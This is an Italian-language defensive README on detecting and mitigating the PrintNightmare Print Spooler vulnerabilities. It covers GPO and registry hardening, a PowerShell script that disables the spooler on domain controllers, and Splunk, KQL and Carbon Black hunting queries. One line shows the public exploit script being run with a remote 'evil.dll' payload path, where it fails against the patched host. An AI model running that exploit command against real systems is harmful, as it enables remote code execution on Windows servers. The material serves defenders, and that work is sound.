
CVE-2021-1675 Informazioni di rilevamento
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Questo repository contiene un campione EVTX dell'attacco CVE-2021-1675 e CVE-2021-34527, oltre a un file di configurazione minimale di Sysmon che può essere utilizzato per generare la telemetria pertinente.
Si noti che queste regole potrebbero essere aggirate - applicare le patch appropriate e disabilitare il servizio Spooler di stampa sui controller di dominio.
Testare tutte le correzioni consigliate prima del rilascio in produzione, poiché potrebbero esserci conseguenze indesiderate a seguito di queste modifiche di hardening. Abbiamo scritto un post sul blog che spiega il contenuto di questo repository e le informazioni trovate. Qui: https://labs.lares.com/detection-and-mitigation-printnightmare/
Grazie a Benjamin Delpy, è disponibile un diagramma di flusso aggiornato sullo sfruttabilità di questo problema per determinare se i vostri sistemi sono probabilmente vulnerabili.

Impostazioni di sicurezza -> Servizi di sistema -> Spooler di stampa -> Disabilita
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Configurazione computer -> Modelli amministrativi -> Stampanti -> Consenti allo Spooler di stampa di accettare connessioni client -> Disabilita
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Stampanti -> Restrizioni Point and Print -> Richieste di sicurezza -> Quando si installano driver per una nuova connessione -> Mostra avviso e richiesta di elevazione
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1La patch rilasciata da Microsoft nel giugno 2021 corregge CVE-2021-1675 ma purtroppo non risolve il problema noto come PrintNightmare (CVE-2021-34527), pertanto è possibile applicare una soluzione alternativa disabilitando il servizio Spooler di stampa. Ecco come fare sia tramite GPO che PowerShell. È stato confermato che la GPO corregge sia la funzione MS-RPRN RpcAddPrinterDriverEx che la funzione Win32 AddPrinterDriverEx utilizzate da SharpPrintNightmare.
La seguente GPO può essere impostata per negare le connessioni client allo spooler, che rappresenta una potenziale soluzione alternativa quando la disabilitazione completa del servizio Spooler potrebbe non essere un'opzione. È stata testata su controller di dominio e endpoint (W7/W10) in ambiente di laboratorio e gli utenti possono ancora aggiungere/rimuovere stampanti e stampare, ma impedisce il funzionamento dell'exploit. Nota: è anche noto che questa GPO corregge anche CVE-2021-34527 come indicato nella pagina delle vulnerabilità di Microsoft.
Configurazione computer -> Modelli amministrativi -> Stampanti -> Consenti allo Spooler di stampa di accettare connessioni client impostare su Disabilitato:

Quindi riavviare il servizio Spooler sull'host interessato. Se tutto funziona, l'exploit verrà negato:
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
Un'altra correzione/soluzione alternativa è rimuovere gli utenti autenticati da Accesso compatibile Pre-Windows 2000 come scoperto da Dirk-jan.

Assicurarsi che i gruppi "Utenti autenticati" non siano membri del gruppo "Accesso compatibile Pre-Windows 2000". (Per impostazione predefinita, questi gruppi non sono inclusi nelle versioni correnti di Windows.) come mostrato nello screenshot qui sotto, non dovrebbero esserci membri:

In caso di dubbi su come procedere, è possibile seguire i seguenti passaggi:
Adattato lo script di 0gtweet per utilizzare ADDomainController per ottenere tutti i DC dal dominio
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}
$disableSpooler = $true
foreach ($DriverName in ($printers.DriverName))
{
if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
{
Write-Host " Printer found: $DriverName" -ForegroundColor Green
$disableSpooler = $false
}
}
if ($disableSpooler)
{
Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
(Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose
}
else
{
Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
}
}
Il file di configurazione Sysmon fornito CVE-2021-1675.xml può essere installato con Sysmon Config Pusher: https://github.com/LaresLLC/SysmonConfigPusher
index=sysmon EventCode=7 Image="C:\\Windows\\System32\\spoolsv.exe" NOT (Signature="Microsoft Windows" SignatureStatus=Valid)
| stats values(ImageLoaded),values(TargetObject),values(Details),values(TargetFilename)
Un modo generico per cercare lo sfruttamento dello Spooler di stampa è cercare errori generati dallo spooler a causa del caricamento della DLL payload. Questo può essere fatto cercando la generazione di WerFault.exe da parte di spoolsv.exe o la generazione dell'Event ID 7031 che mostra la terminazione imprevista del servizio Spooler di stampa.
((index=sysmon EventCode=1
ParentImage="C:\\Windows\\System32\\spoolsv.exe" Image="C:\\Windows\\System32\\WerFault.exe")
OR (index=windows Channel=System EventCode=7031
Message="The Print Spooler service terminated unexpectedly"))
Dopo diversi test di sfruttamento dell'implementazione di cube0x0 è stato trovato un artefatto aggiuntivo: Event ID 5145 con Share Name: \\*\IPC$ e Relative Target Name: spoolss. I vantaggi di questo approccio sono che è possibile vedere l'IP sorgente (Source Address) e l'account (Security ID o Account Name) utilizzati per eseguire l'attacco. Possono esserci falsi positivi da veri server di stampa, ma possono essere filtrati per hostname e Access Mask. Possono esserci altri falsi positivi che possono essere filtrati combinando hostname-username-access mask.
index=windows_security EventCode=5145 Share_Name="\\\\*\\IPC$" Relative_Target_Name=spoolss
let serverlist=DeviceInfo
| where DeviceType != "Workstation"
| distinct DeviceId;
let suspiciousdrivers=DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers"
| distinct SHA1
| invoke FileProfile(SHA1, 1000)
| where GlobalPrevalence < 50 and IsRootSignerMicrosoft != 1 and SignatureState != "SignedValid";
suspiciousdrivers
| join kind=inner (DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers") on SHA1
| where InitiatingProcessFileName != "ccmexec.exe"
Source: https://twitter.com/olafhartong/status/1410229699993874442




Source: https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery/blob/main/README.md
filemod_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\123
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND parent_cmdline:spoolsv\.exe
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND process_name:spoolsv\.exe
process_name:spoolsv\.exe AND NOT filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED
process_name:spoolsv\.exe AND filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED AND NOT filemod_publisher:"Microsoft Windows*"
Twitter Posts referencing attacks and hunting queries
Osservazioni sui controller di dominio rispetto a quelli non controller di dominio tramite Benjamin Delpy:
Diagramma di flusso molto utile tramite Stan Hegt di Outflank
Nuova assegnazione CVE da Microsoft:
Diario SANS ICS: